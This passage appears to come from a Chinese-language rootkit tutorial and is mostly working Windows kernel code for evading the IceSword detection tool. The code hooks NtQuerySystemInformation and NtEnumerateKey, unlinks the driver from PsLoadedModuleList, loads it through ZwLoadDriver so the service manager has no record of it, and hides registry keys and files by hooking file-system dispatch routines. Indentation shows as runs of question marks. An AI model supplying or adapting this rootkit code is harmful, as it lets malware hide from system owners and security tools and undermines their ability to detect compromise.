????????????mov edi, SystemInformation
????????????mov ecx, [edi]????????????//eax=模塊數(shù)目
????????????add edi, 0x4
NextModuleInfo:
????????????mov eax, [edi+0x8]????
????????????mov edx, [edi+0xC]??
????????????
????????????add edx, eax????
????????????mov ebx, DriverAddr
????????????cmp ebx, eax
????????????ja????FirstMatch
????????????dec ecx
????????????test ecx, ecx
????????????jz??ArrayEnd
????????????add edi, 0x11c
????????????jmp NextModuleInfo
FirstMatch:
????????????cmp ebx, edx
????????????jb SecMatch????//找到的話則跳去把該模塊以后的模塊數(shù)據(jù)前移已覆蓋掉此模塊
????????????dec ecx
????????????test ecx, ecx
????????????jz??ArrayEnd
????????????add edi, 0x11c
????????????jmp NextModuleInfo
SecMatch:
????????????dec ecx
????????????xor eax, eax
????????????mov ax, 0x11c
????????????mul cx
????????????xor ecx, ecx
????????????mov ecx, eax
????????????mov esi, edi
????????????add esi, 0x11c
????????????rep movsb
????????????mov edi, SystemInformation
????????????mov eax, [edi]
????????????dec eax
????????????mov [edi], eax????????????//完成
ArrayEnd:
????????????popad
????????}
????????return Status;
}
NTSTATUS PatchNtQuerySystemInformation()
{
????NTSTATUS Status;
????????????
????????????OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") );
????????????if ( OldNtQuerySystemInformation == NULL )
????????????{
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}
????????????_asm????//關(guān)中斷
????????????{
????????????????CLI??????????????????
????????????????MOV????EAX, CR0??????
????????????????AND EAX, NOT 10000H
????????????????MOV????CR0, EAX??????
????????????}
????????????_asm
????????????{
????????????????pushad
????????????????//獲取 NtQuerySystemInformation 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié)
????????????????lea eax, NewNtQuerySystemInformation????
????????????????mov DriverAddr, eax //把NewNtQuerySystemInformation函數(shù)地址給DriverAddr
????????????????mov edi, OldNtQuerySystemInformation
????????????????mov eax, [edi]
????????????????mov dword ptr ResumCodeNtQuerySystemInformation[0], eax
????????????????mov ax, [edi+4]
????????????????mov word??ptr ResumCodeNtQuerySystemInformation[4], ax
????????????????
????????????????//構(gòu)造要替換的代碼,使得系統(tǒng)調(diào)用該函數(shù)時(shí)跳到我們構(gòu)造的NewNtQuerySystemInformation去執(zhí)行
????????????????mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68
????????????????lea edi, NewNtQuerySystemInformation
????????????????mov dword ptr CrackCodeNtQuerySystemInformation[1], edi
????????????????mov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3
????????????????//把構(gòu)造好的代碼進(jìn)行替換
????????????????mov edi, OldNtQuerySystemInformation
????????????????mov eax, dword ptr CrackCodeNtQuerySystemInformation[0]
????????????????mov dword ptr[edi], eax
????????????????mov ax, word ptr CrackCodeNtQuerySystemInformation[4]
????????????????mov word ptr[edi+4], ax
????????????????popad
????????????}
????????????_asm //開中斷
????????????{
????????????????MOV????EAX, CR0??????
????????????????OR????EAX, 10000H????????
????????????????MOV????CR0, EAX??????????
????????????????STI????????????????????
????????????}
????????????Status = RepairNtosFile (
????????????????????????????(DWORD)OldNtQuerySystemInformation,
????????????????????????????(DWORD)&CrackCodeNtQuerySystemInformation[0] );
????????????return Status;
????????????
}
????你可能發(fā)現(xiàn)上面這段代碼hook的也是NtQuerySystemInformation函數(shù),而在隱藏進(jìn)程中不是已經(jīng)hook了 NtQuerySystemInformation函數(shù),這樣不是造成重合了。在實(shí)際操作中,你只要hook一次 NtQuerySystemInformation函數(shù),然后在自己定義NewNtQuerySystemInformation中增加幾個選擇項(xiàng)就是 了。我這樣寫是為了便于理解,使它們每個部分自成一體,如果按實(shí)際代碼搬出來的話,顯得太支離破碎(支離破碎的支到底是這個“支”還是這個“肢”??) 了。
????不知道pjf看到這里之后會不會想著給IS升級,增加IS檢測隱藏內(nèi)核模塊的功能,因此下面一并給出了如何在 PsLoadedModuleList鏈表刪除自身的代碼,關(guān)于如何獲取PsLoadedModuleList這個內(nèi)核變量的地址我就不說了,不了解的請 參看TK的《獲取Windows 系統(tǒng)的內(nèi)核變量》。PsLoadedModuleList所指向的是結(jié)構(gòu)是_MODULE_ENTRY,微軟沒有給出定義,但是 uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的資源中給出了MODULE_ENTRY的結(jié)構(gòu)定義如下:
typedef struct _MODULE_ENTRY {
????LIST_ENTRY le_mod;
????DWORD??unknown[4];
????DWORD??base;
????DWORD??driver_start;
????DWORD??unk1;
????UNICODE_STRING driver_Path;
????UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
進(jìn)一步分析后發(fā)現(xiàn)上述結(jié)構(gòu)中的unk1成員的值其實(shí)就是該模塊文件的大小.從新對該結(jié)構(gòu)定義如下:
typedef struct _MODULE_ENTRY {
????LIST_ENTRY le_mod;
????DWORD??unknown[4];
????DWORD??base;
????DWORD??driver_start;
????DWORD??Size;
????UNICODE_STRING driver_Path;
????UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
????PsLoadedModuleList指向的是一個帶表頭的雙向鏈表,該鏈表的表頭所指向的第一個MODULE_ENTRY的就是 ntoskrnl.exe,此時(shí)它的base成員的值就是ntoskrnl.exe在內(nèi)存中的起始地址.這是就可以順手取一下NtoskrnlBase的 值。
????有一點(diǎn)要注意的是,如果DriverEntry()例程未返回STATUS_SUCCESS之前。系統(tǒng)不會把你加入到 PsLoadedModuleList鏈表中,此時(shí)你在PsLoadedModuleList中是找不到自己的。當(dāng)然為了這個而寫一個分發(fā)例程也行。我是 在自己hook的那些系統(tǒng)函數(shù)中設(shè)了一個閥值,閥值初始值為“開”,這樣系統(tǒng)調(diào)用這個函數(shù)時(shí)都會先檢測閥值是否是“開”,是的話跑到 PsLoadedModuleList找一下我們的模塊是否存在,存在的話說明DriverEntry()已經(jīng)返回成功,馬上把自己從 PsLoadedModuleList鏈表中刪除,然后把閥值設(shè)成“關(guān)”,這樣系統(tǒng)下次調(diào)用這個函數(shù)時(shí)發(fā)現(xiàn)閥值是“關(guān)”的就不會傻乎乎的又跑到 PsLoadedModuleList中去摟一遍了。
DWORD NtoskrnlBase=0;
DWORD PsLoadedModuleListPtr=0;
typedef struct _MODULE_ENTRY {
????LIST_ENTRY le_mod;
????DWORD??unknown[4];
????DWORD??base;
????DWORD??driver_start;
????DWORD??Size;
????UNICODE_STRING driver_Path;
????UNICODE_STRING driver_Name;
} MODULE_ENTRY, *PMODULE_ENTRY;
NTSTATUS GetPsLoadedModuleListPtr()
{
????UNICODE_STRING??UStrName;
????DWORD KdEnableDebuggerAddr;
????DWORD InitSystem=0;
????DWORD KdDebuggerDataBlock=0;
????PMODULE_ENTRY NtosModPtr;
????unsigned char * DebuggerDataBlockPtr;
????unsigned char * Sysinit;
????int i,j;
????????
????????RtlInitUnicodeString (
????????????????????&UStrName,
????????????????????L"KdEnableDebugger" );
????????KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName );????????????????????????????????????????????????
????????
????????if ( !KdEnableDebuggerAddr )
????????{
????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????}
????????
????????for (i=0, Sysinit = (unsigned char * )KdEnableDebuggerAddr; i<0x50; i++, Sysinit++)
????????{
????????????if ( (*Sysinit) == 0xc6 && (*(Sysinit+0x1)) == 0x05 && (*(Sysinit+0x6)) == 0x01 && (*(Sysinit+0x7)) == 0xE8 )
????????????{
????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, Sysinit
????????????????????mov eax, [edi+0x8]
????????????????????add edi, 0xC
????????????????????add edi, eax
????????????????????mov InitSystem, edi
????????????????????popad
????????????????}
????????????}
????????????if ( InitSystem != 0) break;
????????}
????????if ( InitSystem == 0 )
????????{
????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????}
????????
????????for ( i=0, DebuggerDataBlockPtr = (unsigned char * )InitSystem; i<0x70; i++,DebuggerDataBlockPtr++)
????????{
????????????if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b )
????????????{
????????????????DebuggerDataBlockPtr--;
????????????????DebuggerDataBlockPtr--;
????????????????for (j=0; j<0x10; j++, DebuggerDataBlockPtr--)
????????????????{
????????????????????if ( *DebuggerDataBlockPtr == 0x68 )
????????????????????{
????????????????????????_asm
????????????????????????{
????????????????????????????pushad
????????????????????????????mov edi, DebuggerDataBlockPtr
????????????????????????????inc edi
????????????????????????????mov eax, [edi]
????????????????????????????mov KdDebuggerDataBlock, eax
????????????????????????????popad
????????????????????????}
????????????????????????break;
????????????????????}
????????????????}
????????????????
????????????}
????????????if ( KdDebuggerDataBlock != 0 )
????????????{
????????????????break;
????????????}
????????}
????????if ( KdDebuggerDataBlock == 0 )
????????{
????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????}
????????_asm
????????{
????????????pushad
????????????mov edi, KdDebuggerDataBlock
????????????mov eax, [edi+0x48]
????????????mov PsLoadedModuleListPtr, eax
????????????popad
????????}
????????if ( PsLoadedModuleListPtr == 0 )
????????{
????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????}
????????
????????//獲取 Ntoskrnl 的起始地址
????????NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr;
????????NtosModPtr = ( PMODULE_ENTRY ) (NtosModPtr->le_mod.Flink );??
????????NtoskrnlBase = (DWORD) ( NtosModPtr->base );
????????return STATUS_SUCCESS;
}
NTSTATUS RemoveModule ( )
{
????DWORD RemoveModleAddr;
????PMODULE_ENTRY PModPtr_Current;
????PMODULE_ENTRY PModPtr_Flink;
????PMODULE_ENTRY PModPtr_Blink;
????????????PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr;
????????????
????????????PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Current->le_mod.Flink);
????????????//Get RemoveModle Addr
????????????RemoveModleAddr= DriverAddr;
????????????for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) )
????????????{
????????????????if ( RemoveModleAddr > ((DWORD)PModPtr_Flink->base) && RemoveModleAddr < ((DWORD)(PModPtr_Flink->Size) + ((DWORD)PModPtr_Flink->base)) )
????????????????{
????????????????????PModPtr_Blink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Blink);
????????????????????PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink);
????????????????????PModPtr_Blink->le_mod.Flink= (PLIST_ENTRY)PModPtr_Flink;
????????????????????PModPtr_Flink->le_mod.Blink= (PLIST_ENTRY)PModPtr_Blink;
????????????????????IsDelModule=TRUE;
????????????????????break;
????????????????}
????????????}
????????????if ( IsDelModule != TRUE )
????????????{
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}
????????????return STATUS_SUCCESS;
}
????上面這兩個函數(shù)中,GetPsLoadedModuleListPtr()是通過特征碼搜索獲取KdDebuggerDataBlock的位置, 使用特征碼搜索辦法雖然不是很好,但是通用性強(qiáng)。然后再以此獲取PsLoadedModuleList地址,RemoveModule()用來實(shí)現(xiàn)在 PsLoadedModuleList鏈表中刪除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。
五、隱藏服務(wù):
????普通情況下加載驅(qū)動需要 OpenSCManager->CreateService->StartService,這樣驅(qū)動就會跑到服務(wù)管理器中去注冊一下自己,并 且要隱藏這樣加載驅(qū)動的服務(wù),不是不行,只是太麻煩而且沒效率了。要hook一大堆的服務(wù)函數(shù)。不過在逆向IS的時(shí)候發(fā)現(xiàn)了一個不需要去服務(wù)管理器注冊而 直接加載驅(qū)動的方法。就是使用ZwLoadDriver(這個函數(shù)通常是ring0中加載驅(qū)動時(shí)用,由于被Ntdll.dll導(dǎo)出,ring3就也能用 了)進(jìn)行直接加載。這樣就不用去服務(wù)管理器中注冊自己,并且這樣加載的驅(qū)動windows系統(tǒng)工具中的“系統(tǒng)信息”查看器也查不到你,更不用說那些什么服 務(wù)管理器之類的東東了。屢用不爽。下面介紹一下用法:
????1、首先自己在注冊表的服務(wù)項(xiàng)中添加一個自己的服務(wù)名字項(xiàng)。
????2、在自己添加的服務(wù)名字項(xiàng)中添加一些驅(qū)動信息(其實(shí)就是手工實(shí)現(xiàn)CreateService()函數(shù)對注冊表的那些操作),這些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工設(shè)置這些鍵以及鍵值。
按上面設(shè)置完后,來看看ZwLoadDriver的原形:
NTSTATUS
????ZwLoadDriver(
????IN PUNICODE_STRING DriverServiceName );
下面的代碼給出了ZwLoadDriver的使用例子:
AnotherWayStartService( TCHAR *szDir )
{
????HKEY RegKey;
????HKEY hLicenses;
????DWORD disp;
????DWORD ErrorControl=NULL;
????DWORD ProcessID;
????DWORD Start=3;
????DWORD Type=1;
????LONG Regrt;
????DWORD ZwLoadDriver;
????DWORD RtlInitUnicodeString;
????
????UNICODE_STRING RegService;
????PCWSTR????RegServicePath= L"http://Registry//Machine//System//CurrentControlSet//Services//neverdeath";
????TCHAR????DriverFilePath[MAX_PATH] = "http://??//";
????????Regrt = RegOpenKeyEx (
????????????????????HKEY_LOCAL_MACHINE,
????????????????????"SYSTEM//CurrentControlSet//Services",
????????????????????0,
????????????????????KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
????????????????????&hLicenses );
????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}
????????Regrt=RegCreateKeyEx (
????????????????????hLicenses,
????????????????????"neverdeath",
????????????????????0,
????????????????????"",
????????????????????REG_OPTION_NON_VOLATILE,
????????????????????KEY_ALL_ACCESS,
????????????????????NULL,
????????????????????&RegKey,
????????????????????&disp );
????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}
????????????Regrt = RegOpenKeyEx (
????????????????????????HKEY_LOCAL_MACHINE,
????????????????????????"SYSTEM//CurrentControlSet//Services//neverdeath",
????????????????????????0,
????????????????????????KEY_CREATE_SUB_KEY + KEY_SET_VALUE,
????????????????????????&RegKey );
????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}
????????Regrt = RegSetValueEx (
????????????????????RegKey,
????????????????????"ErrorControl",
????????????????????NULL,
????????????????????REG_DWORD,
????????????????????(const unsigned char *)(&ErrorControl),
????????????????????4 );
????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}
????????
????????strcat(DriverFilePath, szDir);
????????Regrt = RegSetValueEx (
????????????????????RegKey,
????????????????????"ImagePath",
????????????????????NULL,
????????????????????REG_EXPAND_SZ,
????????????????????(const unsigned char *)(&DriverFilePath),
????????????????????strlen( DriverFilePath ) );
????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}
????????Regrt = RegSetValueEx (
????????????????????RegKey,
????????????????????"Start",
????????????????????NULL,
????????????????????REG_DWORD,
????????????????????(const unsigned char *)(&Start),
????????????????????4 );
????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}
????????
????????Regrt = RegSetValueEx (????????
????????????????????RegKey,
????????????????????"Type",
????????????????????NULL,
????????????????????REG_DWORD,
????????????????????(const unsigned char *)(&Type),
????????????????????4 );
????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}
????????//還記得前面隱藏進(jìn)程時(shí),我們進(jìn)程ID是從注冊表中取的
????????//下面就是把進(jìn)程ID寫入注冊表,不會影響驅(qū)動的加載
????????ProcessID=GetCurrentProcessId();????
????????Regrt = RegSetValueEx (
????????????????????RegKey,
????????????????????"ProcessID",
????????????????????NULL,
????????????????????REG_DWORD,
????????????????????(const unsigned char *)(&ProcessID),
????????????????????4 );
????????if ( Regrt != ERROR_SUCCESS )
????????{
????????????return false;
????????}????????
????????
????????CloseHandle( RegKey );
????????ZwLoadDriver = (DWORD) GetProcAddress (
????????????????????????????GetModuleHandle( "ntdll.dll" ),
????????????????????????????"ZwLoadDriver" );
????????RtlInitUnicodeString = (DWORD) GetProcAddress(
????????????????????????????????GetModuleHandle( "ntdll.dll" ),
????????????????????????????????"RtlInitUnicodeString" );
????????
????????_asm
????????{
????????????pushad
????????????push RegServicePath
????????????lea edi, RegService
????????????push edi
????????????call RtlInitUnicodeString????//裝載UNICODE字符
????????????lea edi, RegService
????????????push edi
????????????call ZwLoadDriver????
????????????popad
????????}
????????return true;
}
請注意上面這段代碼中加載驅(qū)動時(shí)所使用的注冊表路徑格式是:
“//Registry//Machine//System//CurrentControlSet//Services//neverdeath”
而不是:
“HKEY_LOCAL_MACHINE//SYSTEM//CurrentControlSet//Services//neverdeath”
也許你已經(jīng)想到了那么卸載驅(qū)動會不會就是函數(shù)“ZwUnloadDriver”?自己試一下不就知道了:)
六、隱藏注冊表:
????IS處理注冊表并沒有什么新意,就是調(diào)用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一 類的注冊表操作函數(shù),通過偽造內(nèi)核文件,所以這部分可以很輕松hook并實(shí)現(xiàn)隱藏。IS在這里玩了一個小花樣,在XP下,IS會在把從 ntoskrnl.exe讀到的NtEnumerateKey起始地址的第三個字(注意是字,不是字節(jié)!)先加上0xD50后,再進(jìn)行還原,因此你在偽造 內(nèi)核文件時(shí)必須先把自己構(gòu)造的代碼的第三個字減去0xD50后再寫入到otoskrnl.exe中,否則就等著BSOD吧。而在2K中就不需要這些操作。 這里主要是通過hook注冊表函數(shù)NtEnumerateKey來隱藏我們注冊中的“CurrentControlSet/Services”下的 “neverdeath”項(xiàng)以及“CurrentControlSet/Enum/Root”下的“LEGACY_NEVERDEATH”項(xiàng)。至于隱藏鍵 與鍵值在這里就不說了,自己隨手寫一個就是了。順便提一下,由于windows的regedit也是調(diào)用這些函數(shù)訪問注冊表,所以如果你在IS中隱藏了注 冊表也就等于在windows的regedit中隱藏了。以下代碼在XP下測試通過,如要在2K或2K3中運(yùn)行,請根據(jù)需要自己進(jìn)行取舍。
由于NtEnumerateKey沒有被ntoskrnl.exe導(dǎo)出,這里利用
NtEnumerateKey在服務(wù)表 偏移 = “NtDuplicateToken”在服務(wù)表中的偏移+2
來獲取NtEnumerateKey地址。
PCWSTR HideKey = L"neverdeath";
PCWSTR HideKeyLEG = L"LEGACY_NEVERDEATH";
unsigned char ResumCodeNtEnumerateKey[6];
unsigned char CrackCodeNtEnumerateKey[6];
unsigned char CrackCodeNtEnumerateKeyWriteFile[6];
typedef NTSTATUS ( *NTENUMERATEKEY ) (
??IN HANDLE????????????KeyHandle,
??IN ULONG????????????Index,
??IN KEY_INFORMATION_CLASS??KeyInformationClass,
??OUT PVOID????????????KeyInformation,
??IN ULONG????????????Length,
??OUT PULONG????????ResultLength );
NTENUMERATEKEY OldNtEnumerateKey;
typedef struct ServiceDescriptorEntry {
????unsigned int *ServiceTableBase;
????unsigned int *ServiceCounterTableBase; //Used only in checked build
????unsigned int NumberOfServices;
????unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS NewNtEnumerateKey(
??IN HANDLE????????????KeyHandle,
??IN ULONG????????????Index,
??IN KEY_INFORMATION_CLASS??KeyInformationClass,
??OUT PVOID????????????KeyInformation,
??IN ULONG????????????Length,
??OUT PULONG????????ResultLength )
{
????NTSTATUS Status;
????PCWSTR KeyNamePtr;
????????????_asm??//還原
????????????{
????????????????pushad
????????????????mov edi, OldNtEnumerateKey
????????????????mov eax, dword ptr ResumCodeNtEnumerateKey[0]
????????????????mov [edi], eax
????????????????mov ax, word ptr ResumCodeNtEnumerateKey[4]
????????????????mov [edi+4], ax
????????????????popad
????????????}
????????????Status = ZwEnumerateKey (
????????????????????????????KeyHandle,
????????????????????????????Index,
????????????????????????????KeyInformationClass,
????????????????????????????KeyInformation,
????????????????????????????Length,
????????????????????????????ResultLength );
????????
????????????
????????????if ( Status == STATUS_SUCCESS )
????????????{
???????????????? _asm
???????????????? {
????????????????????push edi
????????????????????mov edi, KeyInformation
????????????????????add edi, 0x10
????????????????????mov KeyNamePtr, edi
????????????????????pop edi
???????????????? }
???????????????? if ( wcsstr(KeyNamePtr, HideKey)!=NULL || wcsstr(KeyNamePtr, HideKeyLEG) != NULL )
???????????????? {
???????????????????? Index=Index+1;
???????????????????? Status = OldNtEnumerateKey (
????????????????????????????????????KeyHandle,
????????????????????????????????????Index,
????????????????????????????????????KeyInformationClass,
????????????????????????????????????KeyInformation,
????????????????????????????????????Length,
????????????????????????????????????ResultLength );
???????????????? }
????????????}
????????????
????????????_asm //替換
????????????{
????????????????pushad
????????????????mov edi, OldNtEnumerateKey
????????????????mov eax, dword ptr CrackCodeNtEnumerateKey[0]
????????????????mov [edi], eax
????????????????mov ax, word ptr CrackCodeNtEnumerateKey[4]
????????????????mov [edi+4], ax
????????????????popad
????????????}
????????????return Status;
}
NTSTATUS GetOldNtEnumerateKey()
{
????DWORD NtDuplicateTokenAddr;
????int i=0;
????????????NtDuplicateTokenAddr = GetFunctionAddr( L"NtDuplicateToken" );
????????????if ( NtDuplicateTokenAddr == NULL )
????????????{
????????????????DbgPrint("Get NtQuerySystemInformation Addr Error!!");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}
????????????for (;;i++)
????????????{
????????????????if ( NtDuplicateTokenAddr == (DWORD)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + i)) )
????????????????{
????????????????????OldNtEnumerateKey = (NTENUMERATEKEY)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + (i+2)));
????????????????????break;
????????????????}
????????????}
????????????return STATUS_SUCCESS;
}
NTSTATUS PatchNtEnumerateKey()
{
????NTSTATUS Status;
??????????????????????????????????????????????????????????????????
????????????Status = GetOldNtEnumerateKey();
????????????if ( Status != STATUS_SUCCESS )
????????????{
????????????????DbgPrint("Get NtQuerySystemInformation Addr Error!!");
????????????????return STATUS_DEVICE_CONFIGURATION_ERROR;
????????????}
????????????_asm????//關(guān)中斷
????????????{
????????????????CLI????????????
????????????????MOV????EAX, CR0????
????????????????AND EAX, NOT 10000H??
????????????????MOV????CR0, EAX????????
????????????}
????????????_asm
????????????{
????????????????pushad
????????????????//獲取 NtEnumerateKey 函數(shù)的地址并保留該函數(shù)的起始六個字節(jié)
????????????????mov edi, OldNtEnumerateKey
????????????????mov eax, [edi]
????????????????mov dword ptr ResumCodeNtEnumerateKey[0], eax
????????????????mov ax, [edi+4]
????????????????mov word??ptr ResumCodeNtEnumerateKey[4], ax
????????????????
????????????????//構(gòu)造要替換的代碼,使得系統(tǒng)調(diào)用該函數(shù)時(shí)跳到我們構(gòu)造的NewNtEnumerateKey去執(zhí)行
????????????????mov byte ptr CrackCodeNtEnumerateKey[0], 0x68
????????????????mov byte ptr CrackCodeNtEnumerateKeyWriteFile[0],0x68
????????????????lea edi, NewNtEnumerateKey
????????????????mov dword ptr CrackCodeNtEnumerateKey[1], edi
????????????????mov dword ptr CrackCodeNtEnumerateKeyWriteFile[1], edi
????????????????mov byte ptr CrackCodeNtEnumerateKey[5], 0xc3
????????????????mov byte ptr CrackCodeNtEnumerateKeyWriteFile[5], 0xc3
????
????????????????//把第NtEnumerateKey的第三個字減去D50在送回
????????????????mov ax, word ptr CrackCodeNtEnumerateKeyWriteFile[4]
????????????????sub ax, 0xD50
????????????????mov word ptr CrackCodeNtEnumerateKeyWriteFile[4], ax
????????????????//把構(gòu)造好的代碼進(jìn)行替換
????????????????mov edi, OldNtEnumerateKey
????????????????mov eax, dword ptr CrackCodeNtEnumerateKey[0]
????????????????mov dword ptr[edi], eax
????????????????mov ax, word ptr CrackCodeNtEnumerateKey[4]
????????????????mov word ptr[edi+4], ax
????????????????popad
????????????}
????????????_asm????//開中斷
????????????{
????????????????MOV????EAX, CR0??????
????????????????OR????EAX, 10000H????????????
????????????????MOV????CR0, EAX????????????
????????????????STI????????????????????
????????????}
????????????Status = RepairNtosFile(
????????????????????????????(DWORD)OldNtEnumerateKey,
????????????????????????????//(DWORD)(&CrackCodeNtEnumerateKey) 2k
????????????????????????????(DWORD)(&CrackCodeNtEnumerateKeyWriteFile) ); //XP
????????????return Status;
}
7、隱藏文件:
????終于寫到隱藏文件,在實(shí)現(xiàn)隱藏文件的過程中,越來越欣賞PJF。IS在獲取文件列表的過程時(shí),迂回戰(zhàn)術(shù)簡直玩到了另人匪夷所思的地步!我花了很多 時(shí)間(好幾次坐在機(jī)子面前十幾個小時(shí)想的腦袋都綠了卻一點(diǎn)收獲都沒有)才實(shí)現(xiàn)了不用IFS,不用attach文件設(shè)備直接而進(jìn)行隱藏,當(dāng)時(shí)我甚至去 hook函數(shù)IoCallDriver函數(shù)(經(jīng)??吹接行┤薶ook這個函數(shù)失敗,便造謠此函數(shù)不能hook,其實(shí)是可以的,但是確實(shí)很麻煩,如果你也想 試試,為了讓你少走彎路,好意提醒一下,請盡最大努力保護(hù)好寄存器!)來截獲系統(tǒng)所有的IRP包,然后分析,真是差點(diǎn)沒把我搞死!
????普通情況下,我們是通過發(fā)送IRP_MJ_DIRECTORY_CONTROL(0xC)請求給FSD來獲取文件列表的。獲取后的信息存在 IRP->UserBuffer(0x3c)中。但是你會發(fā)現(xiàn)IS在獲取文件列表時(shí)并不發(fā)送IRP_MJ_DIRECTORY_CONTROL給 FSD,而是發(fā)送IRP_MJ_DEVICE_CONTROL(0xE)請求給另外一個不知名設(shè)備。并且在該被請求完成后,你在完成的IRP數(shù)據(jù)中找不到 任何有關(guān)文件名字的影子?;蛟S你便開始點(diǎn)一只煙,盯著屏幕直發(fā)楞,直想:“這怎么可能呢?”(呵呵,也許pjf要的就是這種效果)。
????邪惡的微軟總是想方設(shè)法的企圖蒙蔽我們,讓我們忽略本質(zhì)!內(nèi)核里面的那些什么對象啊、設(shè)備啊、這個啊、那個啊、所有亂七八糟的東東,從本質(zhì)上來講還不都是一堆代碼與數(shù)據(jù)。IS不發(fā)送IRP_MJ_DIRECTORY_CONTROL請求不代表它不會調(diào)用這個例程。
????我對IS獲取文件列表的猜想(IS的anti Debug太強(qiáng), 為了今年之內(nèi)把這個搞定,因此沒時(shí)間再陪它耗下去了):
????單獨(dú)創(chuàng)造一個Device,這個Device的IRP_MJ_DEVICE_CONTROL例程中構(gòu)造IRP與DEVICE_OBJECT后,直 接調(diào)用IRP_MJ_DIRECTORY_CONTROL例程,這樣就避免了向文件設(shè)備發(fā)送請求但是還能獲取文件列表的目的了。關(guān)于在完成后的IRP包中 無法獲取文件名的功能,其實(shí)只要在直接調(diào)用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP->UserBuffer中的內(nèi)容 轉(zhuǎn)移或加個密就輕易實(shí)現(xiàn)了。
????雖然這只是猜想,但是為了驗(yàn)證我的想法。我單獨(dú)寫了個test證明我的想法是可行的。我不能確定IS就是這樣做,但我能確定如果你這樣做的話就能達(dá)到類似的效果。
????IS就是通過設(shè)置IO_COMPLETION_ROUTINE函數(shù)來第一時(shí)間處理完成后的結(jié)果,我們下面用的方法就是通過替換這個 IO_COMPLETION_ROUTINE來搶先處理結(jié)果。我們處理完了再調(diào)用IS的IO_COMPLETION_ROUTINE函數(shù)。另外要說的是, 由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一個文件名(哪怕已重復(fù)出現(xiàn))。而你在自己的 IO_COMPLETION_ROUTINE中如果檢測到是自己要隱藏的文件名的話,不能不調(diào)用原先IS的IO_COMPLETION_ROUTINE, 否則BSOD。因此你只能更改文件屬性了,更改文件屬性也能達(dá)到隱藏的目的。還記不記的以前DOS時(shí)代的[.]與[..]文件夾嗎(那片笑聲讓我想起我的 那些文件夾)。當(dāng)返回你要隱藏的文件時(shí)信息,把這些信息全都替換成[.]或[..]文件夾屬性(當(dāng)然包括文件名信息了)就行了。
????下面的代碼先獲取FSD設(shè)備的IRP_MJ_DIRECTORY_CONTROL分派函數(shù)的地址,然后對該函數(shù)進(jìn)行hook。在我們構(gòu)造的新的 IRP_MJ_DIRECTORY_CONTROL分派函數(shù)中通過IO_STACK_LOCATION中的Length(+0x4)數(shù)值來判斷是否時(shí) IS(IS的Length很特殊,是0xfe8。平常的都是0x1000),是的話就進(jìn)行替換IO_COMPLETION_ROUTINE。
????下的代碼在FAT32、NTFS、NTFS&FAT32中測試通過,在純Fat中也測試通過。
PCWSTR????HideDirectory =L"neverdeath";
PCWSTR????HideFile = L"otoskrnl.exe";
DWORD NtfsUserbuf;
DWORD NtfsFileName;
DWORD NtfsLocaIrp;
DWORD FatUserbuf;
DWORD FatFileName;
DWORD FatLocaIrp;
typedef NTSTATUS??(*_DISPATCH)
(
??IN PDEVICE_OBJECT??DeviceObject,
??IN OUT PIRP????????Irp
);
_DISPATCH OldNtfsQueryDirectoryDispatch;
_DISPATCH OldFatQueryDirectoryDispatch;
PIO_COMPLETION_ROUTINE????OldNtfsCompletionRuntine;
PIO_COMPLETION_ROUTINE??OldFatCompletionRuntine;
NTSTATUS NewNtfsCompletionRuntine(
????IN PDEVICE_OBJECT DeviceObject,
????IN PIRP Irp,
????IN PVOID Context )
{
????NTSTATUS Status;
????????????????_asm
????????????????{
????????????????????pushad
????????????????????mov edi, NtfsUserbuf
????????????????????add edi, 0x5e
????????????????????mov NtfsFileName, edi
????????????????????popad
????????????????}
????????????????if ( wcsstr( NtfsFileName, HideDirectory ) ||??wcsstr( NtfsFileName, HideFile ) )
????????????????{
????????????????????_asm
????????????????????{
????????????????????????pushad
????????????????????????mov edi,NtfsUserbuf
????????????????????????mov eax, 0x16
????????????????????????mov dword ptr [edi+0x38], eax
????????????????????????mov eax, 0x04
